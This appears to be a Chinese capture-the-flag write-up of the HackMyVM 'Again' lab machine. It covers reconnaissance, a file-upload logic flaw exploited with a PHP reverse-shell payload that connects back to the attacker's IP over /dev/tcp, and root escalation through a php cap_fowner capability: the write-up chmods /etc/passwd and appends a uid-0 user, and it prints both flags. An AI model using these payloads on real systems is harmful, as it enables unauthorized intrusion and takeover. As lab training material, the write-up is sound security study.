HackMyVM-Again靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.101.127)

靶 机:Linux(192.168.101.204)

物理机:win11(192.168.101.241)

注意事项:

①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。

②靶机启动失败:设置中取消勾选usb即可

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录扫描)、nc(监听shell)、openssl(生成密码)

物理机:Burp suite(抓包分析)
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。

++地址:https://hackmyvm.eu/machines/machine.php?vm=Again++

测试网址:http://192.168.101.204

二、测试目的

分析文件上传的源代码并绕过限制上传webshell,使用php Capabilities提权获得root权限。

三、操作过程

1、信息搜集

主机探测

bash 复制代码
arp-scan -l

靶机IP:192.168.101.204

物理机IP:192.168.101.241

端口和服务探测

bash 复制代码
nmap -sT -A -p- -T4 192.168.101.204

可以看到靶机开启了22端口(ssh服务)、80端口(web服务)

目录扫描

bash 复制代码
dirsearch -u http://192.168.101.204 -i 200,301 --exclude-sizes=0B

只扫到一个页面,upload

2、Getshell

访问web主页是一个上传文件的页面,upload.php是上传的文件显示的页面

查看主页面的源代码发现,提示.bck文件删除,那就是没删喽

访问upload.bck成功下载文件

该文件是upload.php的备份源代码,那么现在可以做白盒测试了

可以看到,设置了黑名单符号,有黑名单符号会直接退出代码,这样上传的文件就不会移走了

此外,源代码设置的白名单jpg和txt,只检查了jpg文件,其他文件都算作txt文件上传了,并执行cat命令查看

尝试在cat命令后面进行拼接代码执行,但由于黑名单限制过多,是失败的

利用代码检测到黑名单符号就退出代码的特性,而文件不会删除,会保留

利用这一特性写入反弹shell文件;1.php

数据包如下

POST /upload.php HTTP/1.1

Host: 192.168.101.204

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------42491598439165519721451805444

Content-Length: 300

Origin: http://192.168.101.204

Connection: keep-alive

Referer: http://192.168.101.204/

Upgrade-Insecure-Requests: 1

Priority: u=0, i

-----------------------------42491598439165519721451805444

Content-Disposition: form-data; name="myFile"; filename=";1.php"

Content-Type: image/jpeg

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.127/6666 0>&1'"); ?>

-----------------------------42491598439165519721451805444---

可以访问该文件,此时kali开启监听即可监听到反弹shell

成功获取反弹shell

3、提权

当前目录有一个id_rsa.bck文件,但没什么用

尝试寻找可利用文件

bash 复制代码
find / -perm -4000 -ls 2>/dev/null
find / -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

getcap命令可以查找文件的能力信息。

Linux 中的"能力"是一种对进程授权的机制,它允许程序在不拥有完整 root 权限的情况下执行某些特权操作。

某些程序可能被赋予了cap_fowner(修改文件所有权)或cap_net_raw(允许直接访问网络协议栈)等能力,这样它们就可以执行本来只有 root 用户才能执行的操作

可以看到php7.4可以修改文件所有权,可以利用

那么就用php来修改文件的权限,先修改user.txt的权限并查看

bash 复制代码
ls -la /home
ls -la /home/kerszi
php -r 'chmod("/home/kerszi/user.txt",0777);'

查看user.txt文件内容,得到第一个flag:

nowtheeasypart

bash 复制代码
cat /home/kerszi/user.txt

同理可以修改/root目录的权限,r00t.txt文件的权限,查看root用户的flag:

andagainandagainandagain

bash 复制代码
php -r 'chmod("/root",0777);'
ls -la /root
php -r 'chmod("/root/r00t.txt",0777);'
cat /root/r00t.txt

提权root用户也很简单,修改/etc/passwd文件的权限并给写入一个uid为0的用户即可

bash 复制代码
php -r 'chmod("/etc/passwd",0777);'

先修改权限

bash 复制代码
openssl passwd -1 root

再生成密码的加密字符串

构造新用户zz,uid为0,写入/etc/passwd

bash 复制代码
echo 'zz:$1$8YXciopU$8Z/z.3wtGbL7YHfCAy.e11:0:0:root:/root:/bin/bash' >> /etc/passwd
su zz

成功写入用户,并提权root

bash 复制代码
SHELL=/bin/bash script -q 2>/dev/null

四、结论

利用文件上传逻辑的漏洞getshell,利用Capabilities提权获取root权限。Linux中可以设置能力setcap,可以让某个文件以更高权限执行。

相关推荐
枷锁—sha10 小时前
【SRC】SQL注入WAF 绕过应对策略(二)
网络·数据库·python·sql·安全·网络安全
天荒地老笑话么18 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
大方子1 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha2 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络2 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd2 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你2 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha3 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1193 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20253 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信